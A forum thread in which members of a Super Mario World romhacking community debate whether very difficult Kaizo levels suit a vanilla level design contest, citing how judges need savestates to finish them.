Sanct wrote: I disagree with anyone saying that this is "Not the right contest for this sort of level" because, nowhere is it stated, that this is a contest for a specific ideology of level design, kaizo is a different way to design a level, yes, but why should it mean that a kaizo level doesn't fit in a contest for which the only stipulation is that the level has to be vanilla, just like how this adds a layer of creative challenge to orthodox methods of creating levels it is also the case for levels which fall into different category of level design. Therefore, why should an entire way of designing a level be considered wrong for a contest which doesn't state anything about how you should design a level.
The problem with Kaizo in particular is that Kaizo is by its nature considered bad level design by a majority of players. We sit in a community that is adjacent enough to Kaizo fans to understand that it appeals to some people, but if you walk out and hand a Kaizo level to any traditional gamer they're going to get frustrated and consider it a bad level. Which is fair because on a surface level Kaizo betrays a myriad of good level design principles. Kaizo also kind of represents changing the philosophy of the game so much that it's not really a Mario World level any more. As I see it, Kaizo is inherently about practicing again and again at something brutally difficult in order to experience that high of getting that one perfect run. That's not Super Mario World.

It's kind of a shame that Kaizo is done almost exclusively through hacks where I don't think it's given a chance to shine. Kaizo as a "genre" could work given a game properly dedicated to it. Because there's little demand I'm not aware of any game that properly supports it with things like being able to view the full level in advance and route-plan or default savestates in locations to allow you to practice different segments of a level. Kind of like Touhou's mode for practicing specific bullet patterns.
Image

User avatar
idol
god's gonna come to my house and kill me
Posts: 195
Joined: 3 years ago
First name: charlotte
Pronouns: she/her

Re: Vanilla Level Design Contest 11 -- A one and another

Postby idol » 1 month ago

it's important for judges to play a level fairly and legitimately in order to be able to properly critique it. really, mountan should've been disqualified by the sheer fact that most of the judges had to use savestates to get through it. the problem with kaizo in regular ldcs is less that it's very hard, and more that the judges we bring on are not going to spend hours on a single level because they're not kaizo players. and as soon as a judge needs to use tools to judge a level, theyre no longer judging the level fairly. and if a judge can't judge a level fairly, then it's not fair to the other entries or the spirit of the contest.

i'd agree with banning kaizo entries from all future regular ldcs for that reason.
must b love on tha brain
[avi source]

User avatar
idol
god's gonna come to my house and kill me
Posts: 195
Joined: 3 years ago
First name: charlotte
Pronouns: she/her

Re: Vanilla Level Design Contest 11 -- A one and another

Postby idol » 1 month ago

also
Ignoritus wrote:The problem with Kaizo in particular is that Kaizo is by its nature considered bad level design by a majority of players.
maybe 5 years ago, but if you take a look at the hacks hosted on smwc - especially the ones that end up in our waiting section, many of them are kaizo. in fact, we even have 7 hack moderators who focus on kaizo/troll hacks.

and while it may not be explicitly kaizo, games like celeste or dark souls that are supposed to be very hard and not accessible to all players still have a huge audience. the problem with kaizo isn't that it's considered bad level design, i'd argue much of the entries we've seen so far have had bad level design from being uninteresting, uninspired, or clearly having no focus on the ways in which the enemies interact with the environment or what they add to the level. the real "problem" with kaizo is it's inaccessible to many romhack players due to the high skill level and patience it requires. and our regular LDCs do not ask for the players or judges to be able to have that high skill level / patience.
Last edited by idol on 25 Oct 2019, 19:03, edited 1 time in total.
must b love on tha brain
[avi source]

User avatar
Sanct
The President
Posts: 118
Joined: 5 years ago
Pronouns: she/her

Re: Vanilla Level Design Contest 11 -- A one and another

Postby Sanct » 1 month ago

(I didn't write that, that was ignoritus' post)
Also known as Sancles

My Children
ImageImage

User avatar
idol
god's gonna come to my house and kill me
Posts: 195
Joined: 3 years ago
First name: charlotte
Pronouns: she/her

Re: Vanilla Level Design Contest 11 -- A one and another

Postby idol » 1 month ago

talkhausers is the same
must b love on tha brain
[avi source]


Return to “let's play”

Who is online

Users browsing this forum: MonkeyShrapnel, MSN [Bot], xfix and 13 guests